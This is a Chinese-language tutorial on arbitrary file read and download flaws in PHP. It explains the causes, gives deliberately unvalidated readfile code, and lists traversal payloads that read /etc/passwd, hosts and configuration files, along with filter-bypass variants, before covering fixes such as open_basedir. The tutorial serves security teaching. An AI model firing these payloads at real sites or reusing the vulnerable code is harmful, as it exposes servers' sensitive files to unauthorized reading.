任意文件读取/下载
概述
一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文 件可以是源代码文件,配置文件,敏感文件等等。
- 任意文件读取会造成(敏感)信息泄露;
- 任意文件读取大多数情况是由于其他漏洞引发的,如RCE、目录遍历、文件包含等。
- 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
漏洞成因
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:
- 存在读取文件的功能(函数),也就是说,Web 应用开放了文件读取功能;
- 读取文件的路径客户端可控,完全控制或影响文件路径参数;
- 没有对文件路径进行校验或者校验不严导致校验被绕过;
- 输出了文件的内容。
危害
- 下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
- 可以配合其他漏洞,构成完整攻击链。
- 对源代码文件进行代码审计,查找更多的漏洞。
重点
任意文件读取与下载重点关注的文件:
- 源代码
- 配置文件
- 敏感文件
- 日志文件
- …
分类
- 任意文件读取
- 任意文件下载
任意文件读取
与文件包含的区别
文件包含:读取文件并执行
文件读取:只读取文件不执行
PHP 中文件读取函数
读取文件的函数 | 函数特点 |
---|---|
readfile() | 直接读取文件内容 自带输出功能 |
file_get_contents() | 直接读取文件内容 需要输出读取内容 echo 才能输出文件内容 |
fread() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
函数举例
readfile:
// readfile.php
$fp = "../phpinfo.php";
readfile($fp);
file_get_contents:
// file_get_contents.php
$fp = "../phpinfo.php";
echo file_get_contents($fp);
fread:
// fread.php
$fp = "../phpinfo.php";
$f = fopen($fp,'r');
$f_size = filesize($fp);
echo fread($f, $f_size);
fclose($f);
任意文件读取
变量 $fp,会捕获 GET 方式传递过来的 filepath 参数。
$fp = @$_GET['filepath'];
filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
任意文件读取敏感文件
?filepath=index.php
?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts
?filepath=c:\phpstudy_2016\apache\conf\httpd.conf
?filepath=c:\phpstudy_2016\mysql\my.ini
?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts
任意文件下载
PHP 下载图片
$fp = './a.jpg';
// 指定了要发送的内容的MIME类型,这里指定为image/jpg,表示发送的内容是jpg格式的图片,可以解析在网页显示图片
header('Content-Type:image/jpg');
// 指定了浏览器如何处理收到的内容。attachment表示浏览器应该提示用户下载文件,而不是直接显示在浏览器中。fileName指定了下载文件的名称,这里使用basename(fp)获取文件的基本名称作为下载文件的名称。
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
任意文件下载
条件
- 已知目标文件路径
- 目标文件路径,客户端可控
- 没有经过校验或校验不严格
$fp = $_GET['filepath'];
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
直接在 url 输入内容即可下载文件
http://127.0.0.1/img.php?filepath=c:\windows\system32\drivers\etc\hosts
任意文件读取攻防
过滤 ../
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);
readfile($fp);
双写绕过
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
绝对路径绕过
?filepath=c:/windows\system32\drivers\etc\hosts
使用 ..\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
任意文件读取漏洞挖掘
从文件名上看 | 从参数名上看 |
---|---|
readfile.php filedownload.php filelist.php … | f= file= filepath= fp= readfile= path= readpath= url= menu= META-INF= WEB-INF= content= … |
漏洞修复
输入验证
让web 用户只能访问(读取),所需要的文件和路径。
避免其他漏洞
能有文件包含漏洞,目录遍历漏洞或其他漏洞。
限定文件的访问范围
-
让用户不能访问Web 根目录以外的路径。
-
php.ini 配置文件中,可以通过选项
open_basedir
来限定文件访问的范围
目录浏览与目录穿越区别
目录遍历(穿越)可以查看 web 根目录外的资源
目录浏览只可以查看 web 根目录下的资源